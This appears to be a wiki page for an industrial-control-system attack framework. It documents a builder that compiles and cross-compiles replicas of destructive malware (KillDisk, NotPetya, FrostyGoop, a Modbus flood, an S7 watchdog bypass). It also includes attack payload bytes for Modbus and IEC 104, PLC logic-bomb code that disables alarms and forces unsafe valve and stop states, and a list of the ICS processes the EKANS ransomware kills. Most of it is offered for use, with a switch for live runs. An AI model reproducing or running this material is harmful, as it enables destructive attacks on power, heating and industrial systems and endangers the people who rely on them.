-
Notifications
You must be signed in to change notification settings - Fork 1
PolyExploit Runner ptBR
André Henrique edited this page Jun 30, 2026
·
4 revisions
IXF follows a Python-First policy: all core functionality runs with pip install industrialxpl-forge. External runtimes (C, C++, Go, Ruby, Java, Node.js, PowerShell, Perl) are optional accelerators — IXF always provides a Python fallback for every module that uses a native artifact.
The PolyExploitRunner class handles detection, compilation, and execution of non-Python exploit artifacts. It transparently selects the best available runtime and falls back to Python simulation when native runtimes are absent.
| Tier | Type | Examples | Required? | Notes |
|---|---|---|---|---|
| 0 | Python standard library |
socket, struct, subprocess, ctypes
|
Always available | No install needed |
| 1 | pip packages (core) |
scapy, requests, paramiko, pyserial
|
Yes (auto-installed by IXF) | Listed in requirements.txt
|
| 2 | pip packages (optional) |
pymodbus, asyncua, python-can, pysnmp
|
Optional | Install with pip install industrialxpl-forge[full]
|
| 3 | External runtimes |
gcc, g++, go, node, java, ruby, pwsh, perl
|
Optional | Python fallback always available; native gives full TTP fidelity |
Tier 3 runtimes provide:
- Full malware TTP replication with authentic binary artifacts
- Cross-compilation for Windows targets
- Language-specific protocol implementations (e.g., Go goroutines for concurrent Modbus attacks)
- Higher performance for multi-threaded exploit scenarios
Detection:
gcc --version
# gcc (Ubuntu 13.2.0-4ubuntu3) 13.2.0Install guide:
# Ubuntu/Debian
sudo apt-get install gcc build-essential
# macOS
xcode-select --install # or: brew install gcc
# Windows (MinGW)
winget install MSYS2.MSYS2
# then in MSYS2: pacman -S mingw-w64-x86_64-gccUse in IXF:
- KillDisk MBR wiper (
killdisk.c) - Modbus TCP flood DoS (
modbus_flood.c) - Custom payload compilation
Detection:
g++ --version
# g++ (Ubuntu 13.2.0-4ubuntu3) 13.2.0Install guide:
sudo apt-get install g++Use in IXF:
- NotPetya MBR wiper (
notpetya.cpp) - Siemens S7 watchdog bypass (
s7_watchdog.cpp)
Detection:
go version
# go version go1.22.3 linux/amd64Install guide:
# Linux
wget https://go.dev/dl/go1.22.3.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.22.3.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# macOS
brew install go
# Windows
winget install GoLang.GoUse in IXF:
- FrostyGoop extended (concurrent goroutines for parallel Modbus attacks)
- CosmicEnergy IEC 104 module
Detection:
node --version
# v22.3.0Install guide:
# Ubuntu
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
sudo apt-get install nodejs
# macOS
brew install node
# Windows
winget install OpenJS.NodeJSUse in IXF:
- JavaScript/TypeScript exploit modules
- Node-RED ICS flow injection
Detection:
java -version
# openjdk version "21.0.3" 2024-04-16Install guide:
# Ubuntu
sudo apt install openjdk-21-jdk
# Windows
winget install Eclipse.Temurin.21Use in IXF:
- Java deserialization exploit modules
- JDBC-based historian attacks
Detection:
ruby --version
# ruby 3.3.1 (2024-04-23 revision b3b4032f9c)Install guide:
# Ubuntu
sudo apt-get install ruby ruby-dev
# macOS
brew install ruby
# Windows
winget install RubyInstallerTeam.RubyUse in IXF:
- Ruby-based ICS protocol exploits
- Legacy Metasploit-style module compatibility
Detection:
pwsh --version
# PowerShell 7.4.2Install guide:
# Ubuntu
sudo snap install powershell --classic
# macOS
brew install powershell
# Windows — already available; pwsh is cross-platform PS7
winget install Microsoft.PowerShellUse in IXF:
- Windows OT/EWS (Engineering Workstation) exploitation
- Active Directory OT integration attacks
- Remote PowerShell to Windows SCADA stations
Detection:
perl --version
# This is perl 5, version 38, subversion 0 (v5.38.0)Install guide:
# Ubuntu
sudo apt-get install perl
# macOS — pre-installed
# Windows
winget install StrawberryPerl.StrawberryPerlUse in IXF:
- Legacy ICS scripts
- DNP3 and ICCP protocol scripts
python tools/env_doctor.py[IXF Environment Doctor v1.0.13]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[Tier 0 — Python stdlib]
socket OK (always available)
struct OK
subprocess OK
ctypes OK
[Tier 1 — Core pip packages]
scapy OK 2.5.0
requests OK 2.32.3
paramiko OK 3.4.0
pyserial OK 3.5
[Tier 2 — Optional pip packages]
pymodbus OK 3.7.0
asyncua OK 1.0.6
python-can not installed pip install python-can
pysnmp OK 6.1.2
[Tier 3 — External runtimes]
gcc OK gcc 13.2.0 (4.3 MB)
g++ OK g++ 13.2.0 (4.3 MB)
go OK go1.22.3 (11 MB)
node OK v22.3.0
java/javac OK OpenJDK 21
ruby not found OPTIONAL — apt install ruby
pwsh not found OPTIONAL — snap install powershell
perl OK v5.38.0
mingw-gcc not found OPTIONAL — for Windows cross-compilation
[Tier 3 — Additional tools]
nmap OK 7.95
Nmap NSE IXF: 15/15 installed
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
All Tier 1 packages: OK | Tier 3: 5/8 runtimes available
IXF ships with C/C++/Go source replicas of known ICS malware for educational TTP testing. The malware_builder.py tool compiles them.
python industrialxpl/modules/cve/malware/_native/malware_builder.py --helpIXF Malware Builder — Compile native ICS malware TTP replicas
Usage:
python malware_builder.py [OPTIONS]
Options:
--list List available build targets with info
--target <name> Build a specific target
--all Build all available targets
--cross-windows Cross-compile for Windows (requires MinGW)
--cross-arm Cross-compile for ARM Linux (requires arm-gcc)
--clean Remove all build artifacts from .tmp/malware_builds/
--output-dir <dir> Custom output directory (default: .tmp/malware_builds/)
--simulate Print compilation commands without executing (dry-run)
--help Show this help message
Available targets:
killdisk [C] KillDisk MBR wiper
notpetya [CPP] NotPetya wiper + fake ransom note
frostygoop [GO] FrostyGoop Modbus heating attack
modbus_flood [C] Modbus TCP flood DoS
s7_watchdog [CPP] Siemens S7 watchdog bypass
Output directory: .tmp/malware_builds/
python industrialxpl/modules/cve/malware/_native/malware_builder.py --list[IXF Malware Builder] Compiler Status
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
gcc : OK (gcc 13.2.0)
g++ : OK (g++ 13.2.0)
go : OK (go1.22.3)
mingw-gcc : not found (for Windows cross-compilation)
arm-gcc : not found (for ARM cross-compilation)
[IXF Malware Builder] Available Targets
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Target Lang Impact Description
─────────────────────────────────────────────────────────────────────────
killdisk C CATASTROPHIC KillDisk MBR wiper — BlackEnergy3/Industroyer TTP
Source: killdisk.c (412 lines)
Attribution: Sandworm/Russia (2015-2016)
Historical: 80K Ukrainian customers lost power
notpetya CPP CATASTROPHIC NotPetya MBR overwrite + MBRS + fake ransom note
Source: notpetya.cpp (687 lines)
Attribution: Sandworm/Russia (2017)
Historical: $10B global damage
frostygoop GO CRITICAL FrostyGoop Modbus heating attack (goroutines)
Source: frostygoop.go (318 lines)
Attribution: Sandworm/Russia (2024)
Historical: 600 Lviv apartments lost heat
modbus_flood C HIGH Modbus TCP flood DoS (multi-threaded pthreads)
Source: modbus_flood.c (198 lines)
Protocol: Modbus TCP port 502
s7_watchdog CPP HIGH Siemens S7 watchdog bypass via keepalives
Source: s7_watchdog.cpp (245 lines)
Protocol: S7comm port 102
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Output: .tmp/malware_builds/
[!] For authorized security testing and education only.
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target killdisk[IXF Malware Builder] Building: killdisk
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Source: industrialxpl/modules/cve/malware/_native/killdisk.c
[*] Compiler: gcc
[*] Command: gcc -O2 -Wall -o .tmp/malware_builds/killdisk killdisk.c -lpthread
[*] Compiling...
[+] killdisk compiled successfully
[+] Output: .tmp/malware_builds/killdisk (ELF 64-bit, 24.3 KB)
[i] Attribution: Sandworm (GRU Unit 74455) — BlackEnergy3/Industroyer 2015-2016
[i] MITRE: T0810 (Data Destruction), T0879 (Damage to Property), T0881 (Service Stop)
[i] [!] CATASTROPHIC impact — authorized environments only
KillDisk IXF module simulation:
ixf > use cve/malware/killdisk_ics_wiper
[*] Module loaded: KillDisk ICS Wiper (BlackEnergy3/Industroyer TTP)
[*] Impact: CATASTROPHIC
ixf (KillDisk ICS Wiper) > run
[SIMULATE MODE — no packets sent]
─────────────────────────────────────────────────────────────────────
[i] What would happen:
KillDisk — BlackEnergy3/Industroyer MBR Wiper (Ukraine 2015-2016)
Attribution: Sandworm (GRU Unit 74455) | Russia
Phase 1 [Network Discovery]: Enumerate network shares (SMB \ADMIN$)
Enumerate SCADA workstations via NetBIOS
Phase 2 [Credential Harvest]: Extract cached Windows credentials
(Mimikatz-style LSASS memory dump)
Phase 3 [Lateral Deploy]: Copy killdisk binary to discovered systems
via SMB ADMIN$ share (using harvested creds)
Phase 4 [Execution]: Execute killdisk via PsExec or WMI on each target
Phase 5 [MBR Overwrite]: Open PhysicalDrive0..PhysicalDrive9 with raw I/O
Write 0xFFFFA random pattern to first 64KB of each disk
Zero out Master Boot Record (sector 0, 512 bytes)
Overwrite first 10 sectors of each partition
Phase 6 [Forced Reboot]: Force system reboot (ExitWindowsEx + EWX_FORCE)
System unable to boot — displays blank screen
Phase 7 [Serial Kill]: Terminate all serial communication processes
Stops GE CIMPLICITY, ABB Symphony, Siemens WinCC
Phase 8 [HMI Deletion]: Delete SCADA project files
*.cim, *.fdb, *.mdb, *.gdb — HMI/historian data
[i] Payload (hex): FF FF A0 FF FF FF FF FF FF FF A0 FF FF FF [MBR overwrite pattern]
[i] Historical impact:
Ukraine 2015: 80,000 customers lost power for 6 hours (December 23)
23 power distribution substations affected
HMI systems required complete OS and application reinstallation
[i] MITRE ATT&CK for ICS: T0810 (Data Destruction), T0879 (Damage to Property),
T0813 (Denial of Control), T0881 (Service Stop), T0816 (Device Restart/Shutdown)
[i] To run live: set simulate false + set destructive true
[!] CATASTROPHIC impact — 10-second countdown + confirmation required for live run
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target notpetya[IXF Malware Builder] Building: notpetya
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Source: industrialxpl/modules/cve/malware/_native/notpetya.cpp
[*] Compiler: g++
[*] Command: g++ -O2 -Wall -std=c++17 -o .tmp/malware_builds/notpetya notpetya.cpp -lpthread
[*] Compiling...
[+] notpetya compiled successfully
[+] Output: .tmp/malware_builds/notpetya (ELF 64-bit, 67.8 KB)
[i] Attribution: Sandworm (GRU) — Ukraine initial vector → global spread (2017)
[i] MITRE: T0810, T0879, T0881, T0816
NotPetya IXF module simulation:
ixf > use cve/malware/notpetya_wiper
[*] Module loaded: NotPetya MBR/MBRS Wiper (2017 global attack replica)
[*] Impact: CATASTROPHIC
ixf (NotPetya MBR/MBRS Wiper) > run
[SIMULATE MODE — no packets sent]
─────────────────────────────────────────────────────────────────────
[i] What would happen:
NotPetya (June 2017) — Sandworm/Russia — ICS/Industrial Impact
Phase 1 [Initial Exploit]: EternalBlue SMB exploit (MS17-010) for lateral movement
Token impersonation via Mimikatz credential dump
Phase 2 [MBRS Replacement]: Overwrite Master Boot Record with custom bootloader
"NotPetya bootloader" shows fake chkdsk screen
"Repairing file system on C:" (deceptive UI)
Phase 3 [MFT Encryption]: Encrypt Master File Table (MFT) with custom cipher
Uses Salsa20 algorithm with unique key per system
No actual ransom decryption — key discarded immediately
Phase 4 [Network Worm]: Spread via WMIC/PsExec + EternalBlue to all reachable hosts
Phase 5 [Reboot + Ransom]: Force reboot after 10 minutes
Display fake ransom screen ($300 BTC — but no recovery)
Phase 6 [ICS Impact]: Maersk: 45,000 PCs, 4,000 servers wiped
Merck pharmaceutical: $870M damage
Ukrainian power/infrastructure primary target
[i] MITRE: T0810 (Data Destruction), T0879, T0816, T0881
[i] Historical impact: $10 billion global damage | Ukraine → Global spread
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target frostygoop[IXF Malware Builder] Building: frostygoop (Go)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Source: industrialxpl/modules/cve/malware/_native/frostygoop.go
[*] Compiler: go
[*] Command: go build -o .tmp/malware_builds/frostygoop frostygoop.go
[*] Compiling...
[+] frostygoop compiled successfully
[+] Output: .tmp/malware_builds/frostygoop (ELF 64-bit, 4.1 MB, Go 1.22.3)
[i] Attribution: Sandworm (GRU) — Ukraine, January 2024 (Lviv district heating)
[i] MITRE: T0836, T0814, T0813, T0878
[i] This is the extended IXF version with goroutines — original was simpler Python
FrostyGoop IXF module simulate output:
ixf > use cve/malware/frostygoop_modbus_heating
[*] Module loaded: FrostyGoop Modbus Heating Attack (Go) — Extended
[*] Impact: CATASTROPHIC
ixf (FrostyGoop Modbus Heating Attack) > set target 192.168.1.100
[*] target => 192.168.1.100
ixf (FrostyGoop Modbus Heating Attack) > run
[SIMULATE MODE — no packets sent]
─────────────────────────────────────────────────────────────────────
[i] What would happen:
FrostyGoop (BUSTLEBERM) — Sandworm/GRU (Russia) — Lviv Ukraine, January 2024
Phase 1 [Target Discovery]: Scan 192.168.1.100 for Modbus TCP port 502
Check for ENCO heating controller (Modbus Unit IDs 1-10)
Phase 2 [Setpoint Override]: Write 0x0000 to holding registers [0..1]
(temperature setpoint → minimum, ~0°C)
FC16 Write Multiple Registers
Overrides normal district heating setpoint
Phase 3 [Goroutine Loop]: Spawn Go goroutine for continuous attack loop
Every 30 seconds: re-write setpoint to 0x0000
Prevents operator recovery (manual setpoint reset undone)
Phase 4 [Alarm Suppression]: Monitor for alarm register changes, suppress via FC06
Write ALARM_ENABLE := 0x0000 to suppress SCADA alerts
Phase 5 [Persistence]: Loop runs until binary is killed or network is blocked
[i] Payload (hex): 00 01 00 00 00 0B 01 10 00 00 00 02 04 00 00 00 00
[i] Historical impact (Lviv, Ukraine, January 11, 2024):
600 apartment buildings lost heating for 2 days (January 11-13)
Sub-zero winter temperatures (avg -5°C that week)
~10,000 residents affected; hypothermia risk for vulnerable populations
CERT-UA Alert #6444
[i] MITRE: T0836 (Modify Parameter), T0814 (Denial of Control),
T0813 (Denial of View), T0878 (Alarm Suppression)
[i] IXF extended version uses goroutines for parallel attacks on multiple controllers
python industrialxpl/modules/cve/malware/_native/malware_builder.py --all[IXF Malware Builder] Building ALL targets
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[1/5] killdisk [C]
[*] gcc -O2 -Wall -o .tmp/malware_builds/killdisk killdisk.c -lpthread
[+] killdisk → .tmp/malware_builds/killdisk (24.3 KB)
[2/5] notpetya [CPP]
[*] g++ -O2 -Wall -std=c++17 -o .tmp/malware_builds/notpetya notpetya.cpp -lpthread
[+] notpetya → .tmp/malware_builds/notpetya (67.8 KB)
[3/5] frostygoop [GO]
[*] go build -o .tmp/malware_builds/frostygoop frostygoop.go
[+] frostygoop → .tmp/malware_builds/frostygoop (4.1 MB)
[4/5] modbus_flood [C]
[*] gcc -O2 -Wall -pthread -o .tmp/malware_builds/modbus_flood modbus_flood.c -lpthread
[+] modbus_flood → .tmp/malware_builds/modbus_flood (18.6 KB)
[5/5] s7_watchdog [CPP]
[*] g++ -O2 -Wall -std=c++17 -o .tmp/malware_builds/s7_watchdog s7_watchdog.cpp
[+] s7_watchdog → .tmp/malware_builds/s7_watchdog (31.2 KB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Build summary:
5/5 targets built successfully
Total artifacts: 5 files, ~147 KB
Output: .tmp/malware_builds/
[!] Handle artifacts with care — authorized environments only
IXF includes a PLC logic bomb generator for testing detection of malicious PLC program modifications.
Activates on a specific date/time. Tests whether SIEM/historian detects abnormal PLC output at a scheduled time.
Simulate output:
ixf > use cve/malware/plc_logic_bomb_time
[*] Module loaded: PLC Logic Bomb — Time-Based Trigger
ixf (PLC Logic Bomb — Time-Based Trigger) > set target 192.168.1.100
ixf (PLC Logic Bomb — Time-Based Trigger) > set trigger_date 2026-07-04
ixf (PLC Logic Bomb — Time-Based Trigger) > set trigger_time 08:00:00
ixf (PLC Logic Bomb — Time-Based Trigger) > run
[SIMULATE MODE — no packets sent]
[i] What would happen (IEC 61131-3 Structured Text injection):
Would upload this ST block to PLC (appended to existing program):
(* Logic Bomb — Time-Based [IXF TTP Replica] *)
IF DT_TO_TOD(DT_OF_CURRENT_TASK()) >= TOD#08:00:00 THEN
IF DT_TO_DATE(DT_OF_CURRENT_TASK()) = D#2026-07-04 THEN
EMERGENCY_STOP := TRUE; (* Stops all outputs *)
ALARM_SUPPRESS := TRUE; (* Silences alarms *)
COIL_ALL_OFF := TRUE; (* All coil outputs → 0 *)
END_IF
END_IF
[i] MITRE: T0839 (Module Firmware), T0836 (Modify Parameter)
[i] Impact: CRITICAL — timed process disruption, hard to trace without PLC audit logs
[i] Detection: Compare PLC program hash before/after; monitor program download events
Activates after N scan cycles. Evades time-based anomaly detection.
Simulate output:
ixf > use cve/malware/plc_logic_bomb_counter
ixf (PLC Logic Bomb — Counter-Based Trigger) > set trigger_count 1000000
ixf (PLC Logic Bomb — Counter-Based Trigger) > run
[SIMULATE MODE — no packets sent]
[i] ST injection:
(* Counter Bomb — after 1,000,000 scan cycles (~10 days at 100ms scan) *)
BOMB_COUNTER := BOMB_COUNTER + 1;
IF BOMB_COUNTER >= 1000000 THEN
PROCESS_INHIBIT := TRUE;
PUMP_EMERGENCY_STOP := TRUE;
END_IF
[i] MITRE: T0839, T0836
[i] Detection: Baseline PLC program hash; audit log all program downloads
Activates on a specific sensor value — e.g., when tank level exceeds 90%. Disguised as safety logic.
Simulate output:
ixf > use cve/malware/plc_logic_bomb_physical
ixf (PLC Logic Bomb — Physical Trigger) > set trigger_tag TANK_LEVEL
ixf (PLC Logic Bomb — Physical Trigger) > set trigger_value 90.0
ixf (PLC Logic Bomb — Physical Trigger) > run
[SIMULATE MODE — no packets sent]
[i] ST injection:
(* Looks like safety code — actually a trigger *)
IF TANK_LEVEL >= 90.0 THEN
FILL_VALVE_OVERRIDE := TRUE; (* Keeps fill valve open — overflow *)
LEVEL_ALARM := FALSE; (* Suppresses high-level alarm *)
END_IF
[i] MITRE: T0836, T0838 (Modify Alarm Settings), T0837 (Loss of Safety)
EKANS/SNAKE ransomware targeted specific ICS processes. IXF includes a process killer replica.
ixf > use cve/malware/ekans_process_killer
ixf (EKANS Process Killer) > run
[SIMULATE MODE — no packets sent]
[i] EKANS (SNAKE) Ransomware — ICS Process Killer Component (2020)
[i] Attribution: Iran-nexus (likely MuddyWater / APT34) | Honda, Enel targets
[i] EKANS targets these ICS processes for termination:
─────────────────────────────────────────────────────────────────
Process Vendor Purpose
FactoryTalkActivationSvr.exe Rockwell License server
ArchestrASecurityBroker.exe AVEVA Security broker
InTouchViewApp.exe AVEVA/Wonderware InTouch SCADA HMI
CimplicityHmiService.exe GE HMI service
GE_PROFICY_HISTORIAN.exe GE Historian
Alarm_DB_Manager.exe Honeywell Alarm management
DELTAVISRV.EXE Emerson DeltaV historian
RSLinx.exe Rockwell CIP/ENIP gateway
FTSecurity.exe Rockwell FactoryTalk Security
HoneywellProcessHistorian.exe Honeywell Historian service
WinCC.exe Siemens WinCC SCADA
S7ProSim.exe Siemens S7 simulation
OPCServer.exe Generic OPC server
─────────────────────────────────────────────────────────────────
[i] EKANS terminates these BEFORE encrypting to prevent file locking
[i] MITRE: T0881 (Service Stop), T0810 (Data Destruction)
ixf (EKANS Process Killer) > set target 192.168.1.50
ixf (EKANS Process Killer) > run
[SIMULATE MODE — no packets sent]
[i] Would execute on 192.168.1.50 (Windows ICS workstation):
Phase 1 [Check Processes]: enumerate running processes via WMI
Phase 2 [Kill ICS Services]: TerminateProcess() on all 13 target processes
Sends SIGTERM then SIGKILL
Phase 3 [Ransomware]: After ICS processes killed, begin file encryption
Target extensions: .cim, .gdb, .mdb, .fdb (SCADA data)
[i] Honda impact (June 2020): Production halt at 11 factories globally
[i] Enel impact (June 2020): Internal network disruption (not production)
CosmicEnergy (2023) targeted IEC 60870-5-104 RTUs for power grid switching.
ixf > use cve/malware/cosmicenergy_iec104
[*] Module loaded: CosmicEnergy IEC 60870-5-104 RTU Control
[*] Impact: CATASTROPHIC
ixf (CosmicEnergy IEC 60870-5-104 RTU Control) > set target 192.168.100.1
ixf (CosmicEnergy IEC 60870-5-104 RTU Control) > run
[SIMULATE MODE — no packets sent]
─────────────────────────────────────────────────────────────────────
[i] CosmicEnergy (2023) — Rostelecom-Solar / Russia — Power Grid TTP
Phase 1 [IEC 104 Connect]: TCP to 192.168.100.1:2404
STARTDT activation sequence
Phase 2 [Interrogation]: General interrogation (Cause=6) — enumerate IOAs
Phase 3 [ASDU Injection]: Send Direct Command (C_SC_NA_1, TypeID=45)
IOA: 1001 | Select+Execute | CLOSE (breaker close)
Then: Direct Command IOA: 1001 | TRIP (breaker open)
Phase 4 [Rapid Toggle]: Rapidly toggle breaker state to cause voltage surge
Phase 5 [Repeat]: Repeat for all discovered IOAs (all breakers)
[i] Payload: 68 04 07 00 | 68 14 02 00 00 00 2D 01 06 00 01 00 00 10 00 00 03 00 00 00
[i] MITRE: T0855 (Unauthorized Command Message), T0813 (Denial of Control),
T0837 (Loss of Safety), T0879 (Damage to Property)
[i] CosmicEnergy (2023): Discovered by Mandiant as pre-positioned attack tool
Targets power distribution RTUs across Europe and Middle East
Reference: https://www.mandiant.com/resources/blog/cosmicenergy-ot-malware-russia
from industrialxpl.core.poly.poly_runner import PolyExploitRunner
# Initialize the runner
runner = PolyExploitRunner()
# 1. Check available runtimes
runtimes = runner.check_runtimes()
print(runtimes)
# {
# "gcc": {"available": True, "version": "gcc 13.2.0", "path": "/usr/bin/gcc"},
# "g++": {"available": True, "version": "g++ 13.2.0"},
# "go": {"available": True, "version": "go1.22.3"},
# "node": {"available": True, "version": "v22.3.0"},
# "java": {"available": True, "version": "openjdk 21.0.3"},
# "ruby": {"available": False, "version": None},
# "pwsh": {"available": False, "version": None},
# "perl": {"available": True, "version": "v5.38.0"},
# }
# 2. Compile a native artifact
result = runner.compile(
source="industrialxpl/modules/cve/malware/_native/killdisk.c",
output=".tmp/malware_builds/killdisk",
compiler="gcc",
flags=["-O2", "-Wall", "-lpthread"],
)
print(f"Compiled: {result['success']} → {result['output_path']}")
# 3. Run a native binary with simulation check
output = runner.run_binary(
binary=".tmp/malware_builds/killdisk",
args=["--target", "192.168.1.100", "--simulate"],
simulate=True, # Always check this before running
timeout=30,
)
print(output.stdout)
# 4. Run a Go binary
go_result = runner.run_go(
source="industrialxpl/modules/cve/malware/_native/frostygoop.go",
args=["--target", "192.168.1.100", "--port", "502", "--simulate"],
simulate=True,
timeout=60,
)
print(go_result.stdout)
# 5. Get Python fallback for a module
fallback = runner.get_python_fallback("frostygoop")
# Returns Python equivalent of the Go module
fallback_output = fallback.run(target="192.168.1.100", simulate=True)
print(fallback_output)
# 6. Cross-compile for Windows
win_result = runner.compile(
source="industrialxpl/modules/cve/malware/_native/killdisk.c",
output=".tmp/malware_builds/killdisk.exe",
compiler="x86_64-w64-mingw32-gcc",
flags=["-O2", "-static"],
target_os="windows",
)
print(f"Windows cross-compile: {win_result['success']}")
# 7. Auto-detect best runtime for a module
best_runtime = runner.detect_runtime("frostygoop_modbus_heating")
print(f"Best runtime: {best_runtime}") # "go" or "python_fallback"
# 8. Build and run in one call
combined = runner.build_and_run(
target_name="frostygoop",
run_args=["--target", "192.168.1.100", "--simulate"],
simulate=True,
)
print(combined.output)
# 9. List all available native artifacts
artifacts = runner.list_artifacts()
for artifact in artifacts:
print(f"{artifact['name']:20} [{artifact['language']}] {artifact['impact']}")
# 10. Clean build artifacts
runner.clean(output_dir=".tmp/malware_builds/")
print("Build artifacts cleaned.")IXF can cross-compile native artifacts for different target platforms:
# Install MinGW cross-compiler
sudo apt-get install mingw-w64
# Cross-compile killdisk for Windows x64
x86_64-w64-mingw32-gcc -O2 -Wall -static \
-o .tmp/malware_builds/killdisk.exe \
industrialxpl/modules/cve/malware/_native/killdisk.c
# Via malware_builder.py
python industrialxpl/modules/cve/malware/_native/malware_builder.py \
--target killdisk \
--cross-windows
# Output:
# [+] killdisk.exe → .tmp/malware_builds/killdisk.exe (Windows x64, 887 KB, static)# Install ARM cross-compiler
sudo apt-get install gcc-arm-linux-gnueabihf
# Cross-compile for ARM (Raspberry Pi, embedded Linux RTUs)
arm-linux-gnueabihf-gcc -O2 -Wall \
-o .tmp/malware_builds/killdisk_arm \
industrialxpl/modules/cve/malware/_native/killdisk.c
# Via malware_builder.py
python industrialxpl/modules/cve/malware/_native/malware_builder.py \
--target killdisk \
--cross-arm# Linux → Windows
GOOS=windows GOARCH=amd64 go build \
-o .tmp/malware_builds/frostygoop.exe \
industrialxpl/modules/cve/malware/_native/frostygoop.go
# Linux → macOS (Apple Silicon)
GOOS=darwin GOARCH=arm64 go build \
-o .tmp/malware_builds/frostygoop_darwin \
industrialxpl/modules/cve/malware/_native/frostygoop.go
# Linux → ARM Linux (Raspberry Pi)
GOOS=linux GOARCH=arm GOARM=7 go build \
-o .tmp/malware_builds/frostygoop_arm \
industrialxpl/modules/cve/malware/_native/frostygoop.goWhen a Tier 3 runtime is missing, PolyExploitRunner automatically selects the Python fallback. The fallback provides:
- Full simulate mode output (identical to native)
-
check()implementation (protocol fingerprinting) - Partial
run()— may lack goroutine-level parallelism or low-level OS access
How fallback is selected:
Module requires: Go (frostygoop)
→ Is 'go' available? YES → compile and run frostygoop.go
→ Is 'go' available? NO → use cve/malware/frostygoop_modbus_heating Python module
(identical logic, pymodbus instead of net.Conn)
Warning shown to user:
[!] Module requires 'go' runtime. Python fallback active.
Fallback provides: simulate output, check(), basic run() via pymodbus
For full TTP fidelity (goroutines, raw sockets): install Go
Install: https://go.dev/dl/
[*] Module loaded: FrostyGoop Modbus Heating Attack (Python fallback)
Previous: CLI Non-Interactive Mode | Next: Assessment & Compliance